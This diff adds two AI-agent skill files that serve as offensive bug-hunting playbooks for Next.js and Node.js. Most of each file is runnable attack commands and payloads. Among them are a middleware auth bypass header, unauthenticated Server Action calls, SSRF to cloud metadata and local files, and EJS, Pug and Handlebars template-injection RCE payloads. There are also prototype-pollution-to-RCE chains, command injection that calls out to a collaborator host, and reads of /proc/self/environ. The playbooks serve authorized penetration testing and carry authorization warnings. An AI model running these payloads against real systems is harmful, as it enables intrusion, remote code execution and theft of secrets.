opencode-skills-collection 4.0.67 → 4.0.69

package/bundled-skills/hunt-nextjs/SKILL.md

@@ -0,0 +1,299 @@
+---
+name: hunt-nextjs
+description: Hunt Next.js specific vulnerabilities
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: cve_database (CVE-2024-34351 / GHSA-fr5h-rqp8-mj6g), Next.js advisories
+report_count: 0
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+# HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities
+
+## Crown Jewel Targets
+
+Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
+
+**Highest-value chains:**
+- **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
+- **Middleware bypass via `/_next/static/`** — middleware skips static asset paths → protected routes accessible via `/_next/data/` IDOR
+- **`/_next/image` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
+- **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users
+- **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client
+
+---
+
+## Attack Surface Signals
+
+```
+/_next/image?url=&w=&q=          Image optimizer — SSRF candidate
+/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
+/__nextjs_original-stack-frame   Debug stack frame endpoint
+/_next/static/chunks/            JS bundles — source map candidate
+/api/                            API routes — standard hunt surface
+__NEXT_DATA__ in HTML            SSR props leaked to client
+x-nextjs-* response headers      Confirms Next.js
+```
+
+---
+
+## Phase 1 — Fingerprint & Version Detection
+
+```bash
+# Confirm Next.js and get build ID
+curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
+curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
+
+# Extract build ID for /_next/data/ paths
+BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
+echo "Build ID: $BUILD_ID"
+
+# Check Next.js version via package disclosure
+curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'
+
+# Source map exposure
+curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
+curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
+```
+
+---
+
+## Phase 2 — Server Actions Abuse
+
+```bash
+# Server Actions in Next.js 14+ use x-action-id or Next-Action header
+# Find action IDs in HTML source or JS bundles
+curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
+grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
+
+# Call Server Action directly without auth
+curl -s -X POST https://$TARGET/target-page \
+  -H "Next-Action: ACTION_ID_HERE" \
+  -H "Content-Type: multipart/form-data; boundary=----" \
+  -H "Cookie: " \
+  --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
+
+# Test: does the action execute without a valid session?
+# If it returns data or mutates state → auth enforcement is client-side only
+```
+
+---
+
+## Phase 3 — Middleware Auth Bypass
+
+```bash
+# Next.js middleware runs on edge runtime and may skip certain paths
+# Test protected route directly
+curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
+# → 200 means accessible
+
+# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
+curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
+
+# Test via static asset path prefix (middleware matcher may exclude /_next/static)
+curl -s "https://$TARGET/_next/static/../admin/dashboard"
+
+# Encoded path bypass
+curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
+curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
+```
+
+---
+
+### Middleware bypass via `x-middleware-subrequest` (CVE-2025-29927)
+Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.
+```bash
+curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
+  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
+# also: -H "x-middleware-subrequest: src/middleware"  and  "pages/_middleware"
+# 200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
+```
+
+## Phase 4 — Image Optimization SSRF (`/_next/image`)
+
+```bash
+# Basic SSRF test — internal metadata
+curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"
+
+# Protocol bypass attempts
+curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
+curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
+
+# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
+COLLAB="http://UNIQUE.COLLAB_HOST"
+curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
+# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain
+```
+
+**FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only
+fetches URLs allowed by `images.remotePatterns` / `images.domains` in
+`next.config.js`. A non-whitelisted `url` returns **400 by default** — that is
+the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A **200**
+returns an *optimized image*, not the upstream response body, so a status code
+alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique
+Collaborator subdomain** (above), or by body-diffing a known-internal vs
+known-external target. Do not report on status code.
+
+> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0
+> through < 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative
+> redirect that trusts the `Host` header — NOT a `/_next/image` bug, and it does
+> NOT affect Host-routed providers like Vercel. See Phase 2 for the Server
+> Actions surface.
+
+---
+
+## Phase 5 — `/_next/data/` IDOR & Data Leakage
+
+```bash
+# Enumerate prerendered JSON for user-specific data
+# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
+curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
+  -H "Cookie: session=VICTIM_SESSION"
+
+# Try other users' data
+for ID in 1 2 3 100 1000; do
+  curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
+done
+
+# Check __NEXT_DATA__ in HTML for sensitive server-side props
+curl -s "https://$TARGET/dashboard" | \
+  python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"
+```
+
+---
+
+## Phase 6 — ISR Cache Poisoning
+
+```bash
+# ISR pages regenerate on request after revalidation period
+# If user input influences the static page content without sanitization:
+# 1. Trigger revalidation with malicious input in URL/query
+# 2. Injected content cached and served to all users
+
+# Test: does query param affect cached page content?
+# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
+# and confirm the response was actually CACHED + served to a DIFFERENT client.
+MARK="zqx$(date +%s)"
+# 1) Poison with the marker
+curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
+# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
+#    Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
+#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
+curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"
+
+# On-demand revalidation endpoint (if exposed)
+curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
+curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"
+```
+
+---
+
+## Phase 7 — Debug & Stack Frame Endpoints
+
+**Precondition:** `__nextjs_launch-editor` and `__nextjs_original-stack-frame`
+are react-dev-overlay middleware mounted ONLY under `next dev`. A production
+build (`next build && next start`) does not register these routes — a 404 here
+is the normal, expected result, not a "filter" you need to bypass. They are
+reachable ONLY in the rare misconfiguration of literally running `next dev` in
+production. Treat any non-404 as the real finding; do NOT report a 404/filtered
+response as confirmation.
+
+```bash
+# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
+curl -s -o /dev/null -w "%{http_code}" \
+  "https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
+
+# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
+# reference local files (file-read surface of a dev server wrongly exposed)
+curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
+curl -s "https://$TARGET/__nextjs_original-stack-frame" \
+  --data '{"file":"/etc/passwd","line":1,"column":1}'
+```
+
+---
+
+## Phase 8 — Environment Variable Leakage
+
+```bash
+# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
+curl -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
+  grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"
+
+# Check for non-public vars accidentally exposed
+curl -s https://$TARGET/ | python3 -c "
+import sys, re, json
+m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
+if m:
+    d = json.loads(m.group(1))
+    print(json.dumps(d.get('props', {}), indent=2))
+"
+```
+
+---
+
+## Chain Table
+
+| Next.js finding | Chain to | Impact |
+|----------------|----------|--------|
+| Server Action no auth | Call privileged mutations directly | Data manipulation / admin access |
+| `/_next/image` SSRF | Cloud metadata → IAM creds | Cloud compromise |
+| `/_next/data/` IDOR | Other users' server-side props | PII / token exfil |
+| Middleware bypass | Protected admin routes | Auth bypass |
+| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |
+| `__NEXT_DATA__` leaks | Server-side secrets in HTML | API keys / tokens |
+
+---
+
+## Validation
+
+✅ Server Action: action executes without valid session, returns data or mutates state
+✅ SSRF: DNS/HTTP callback received from `/_next/image` SSRF
+✅ Middleware bypass: 200 response on protected route without auth cookie
+✅ Data leak: `__NEXT_DATA__` contains non-public secrets or other users' PII
+
+**Severity:**
+- Server Action auth bypass → data mutation: High/Critical
+- Image SSRF → cloud metadata: Critical
+- Middleware bypass → admin panel: High
+- Source map exposure only: Low-Medium
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

package/bundled-skills/hunt-nodejs/SKILL.md

@@ -0,0 +1,263 @@
+---
+name: hunt-nodejs
+description: Hunt Node.js specific vulnerabilities
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: hackerone_public, snyk_research, portswigger_research
+report_count: 24
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+# HUNT-NODEJS — Node.js Specific Vulnerabilities
+
+## Crown Jewel Targets
+
+Prototype Pollution reaching a sink in Node.js backend = Critical RCE.
+
+**Highest-value chains:**
+- **Prototype Pollution → RCE** — `__proto__` injection via `lodash.merge` / `Object.assign` → polluted prototype reaches `child_process.exec` or `vm.runInNewContext` sink
+- **Express trust proxy** — `app.set('trust proxy', true)` without validation → attacker sets `X-Forwarded-For` to bypass IP allowlists or rate limits
+- **EJS/Pug SSTI** — template engine receives user input → `{{= process.mainModule.require('child_process').execSync('id') }}`
+- **`child_process` injection** — user input interpolated into shell command string → OS command injection
+- **`require()` path traversal** — attacker-controlled module path → load arbitrary file as JS
+
+---
+
+## Attack Surface Signals
+
+```
+X-Powered-By: Express           Confirms Express.js
+Node.js in error messages        Runtime detected
+package.json exposed             Dependency list + versions
+/proc/self/environ accessible    Environment variable exfil
+Error stack traces with .js paths  Node.js confirmed
+__proto__ in JSON accepted        Prototype pollution candidate
+```
+
+---
+
+## Phase 1 — Fingerprint
+
+```bash
+# Confirm Node.js/Express
+curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"
+
+# Check for package.json / node_modules exposure
+curl -s "https://$TARGET/package.json"
+curl -s "https://$TARGET/package-lock.json"
+curl -s "https://$TARGET/node_modules/.package-lock.json"
+
+# Error-based version detection
+curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"
+```
+
+---
+
+## Phase 2 — Prototype Pollution Detection
+
+```bash
+# JSON body injection — test if __proto__ is accepted
+curl -s -X POST https://$TARGET/api/merge \
+  -H "Content-Type: application/json" \
+  -d '{"__proto__": {"polluted": "yes"}}'
+
+# Constructor prototype
+curl -s -X POST https://$TARGET/api/settings \
+  -H "Content-Type: application/json" \
+  -d '{"constructor": {"prototype": {"isAdmin": true}}}'
+
+# URL query param injection (qs library)
+curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
+curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"
+
+# Confirm pollution: does a subsequent request reflect the polluted key?
+curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"
+```
+
+---
+
+## Phase 3 — Prototype Pollution → RCE Chain
+
+```bash
+# If pollution is confirmed, attempt to reach dangerous sinks
+
+# Sink 1: child_process via options.shell pollution
+curl -s -X POST https://$TARGET/api/update \
+  -H "Content-Type: application/json" \
+  -d '{
+    "__proto__": {
+      "shell": "node",
+      "NODE_OPTIONS": "--require /proc/self/fd/0",
+      "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
+    }
+  }'
+
+# Sink 2: lodash template pollution (CVE-2021-23337)
+curl -s -X POST https://$TARGET/api/render \
+  -H "Content-Type: application/json" \
+  -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'
+
+# Sink 3: ejs template options pollution
+# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
+curl -s -X POST https://$TARGET/api/template \
+  -H "Content-Type: application/json" \
+  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'
+
+# OOB confirmation — check Interactsh for callback
+```
+
+---
+
+## Phase 4 — Express Trust Proxy Abuse
+
+```bash
+# If Express has trust proxy enabled, X-Forwarded-For is trusted
+# Test: does spoofed IP bypass IP-based rate limiting or allowlist?
+
+# Spoof IP to 127.0.0.1 (localhost bypass)
+curl -s -X POST https://$TARGET/api/admin/action \
+  -H "X-Forwarded-For: 127.0.0.1" \
+  -H "Content-Type: application/json" \
+  -d '{"action": "test"}'
+
+# Spoof to internal IP range
+curl -s -X POST https://$TARGET/api/internal \
+  -H "X-Forwarded-For: 10.0.0.1" \
+  -H "X-Real-IP: 10.0.0.1"
+
+# Rate limit bypass via rotating fake IPs
+for i in $(seq 1 50); do
+  curl -s https://$TARGET/api/login \
+    -H "X-Forwarded-For: 1.2.3.$i" \
+    -d '{"email":"admin@test.com","password":"wrong"}' \
+    -o /dev/null -w "$i: %{http_code}\n"
+done
+```
+
+---
+
+## Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)
+
+```bash
+# EJS SSTI — if user input reaches EJS template context
+# Test basic: <%= 7*7 %> should return 49
+curl -s -X POST https://$TARGET/api/render \
+  -H "Content-Type: application/json" \
+  -d '{"template": "<%= 7*7 %>"}'
+
+# EJS RCE payload
+curl -s -X POST https://$TARGET/api/render \
+  -H "Content-Type: application/json" \
+  -d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'
+
+# Pug SSTI
+curl -s -X POST https://$TARGET/api/render \
+  -H "Content-Type: application/json" \
+  -d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'
+
+# Handlebars — prototype pollution via template
+curl -s -X POST https://$TARGET/api/render \
+  -H "Content-Type: application/json" \
+  -d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'
+```
+
+---
+
+## Phase 6 — child_process Command Injection
+
+```bash
+# Look for endpoints that run shell commands with user input
+# Signals: /api/convert, /api/exec, /api/ping, /api/scan
+
+# Basic injection test
+curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
+curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
+curl -s -X POST https://$TARGET/api/exec \
+  -H "Content-Type: application/json" \
+  -d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'
+
+# OOB via DNS
+curl -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"
+```
+
+---
+
+## Phase 7 — /proc/self/environ Exfil
+
+```bash
+# If LFI exists on Node.js app, /proc/self/environ leaks env vars
+curl -s "https://$TARGET/api/file?path=/proc/self/environ"
+curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"
+
+# Also check:
+curl -s "https://$TARGET/api/file?path=/proc/self/cmdline"  # full command line
+curl -s "https://$TARGET/api/file?path=/proc/self/cwd"       # working directory
+```
+
+---
+
+## Chain Table
+
+| Node.js finding | Chain to | Impact |
+|----------------|----------|--------|
+| Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |
+| Express trust proxy | Bypass IP allowlist / rate limit | Auth bypass / DoS bypass |
+| SSTI in template engine | OS command execution | Critical RCE |
+| child_process injection | `id && curl COLLAB_HOST` | Critical RCE |
+| /proc/self/environ via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |
+
+---
+
+## Validation
+
+✅ Prototype pollution: key appears in subsequent API responses without being sent
+✅ RCE chain: OOB callback received OR `id` output in response
+✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist
+
+**Severity:**
+- Prototype pollution → RCE: Critical
+- SSTI → RCE: Critical
+- child_process injection: Critical
+- Trust proxy → rate limit bypass: Medium
+- /proc/self/environ exfil: High (if cloud keys present)
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.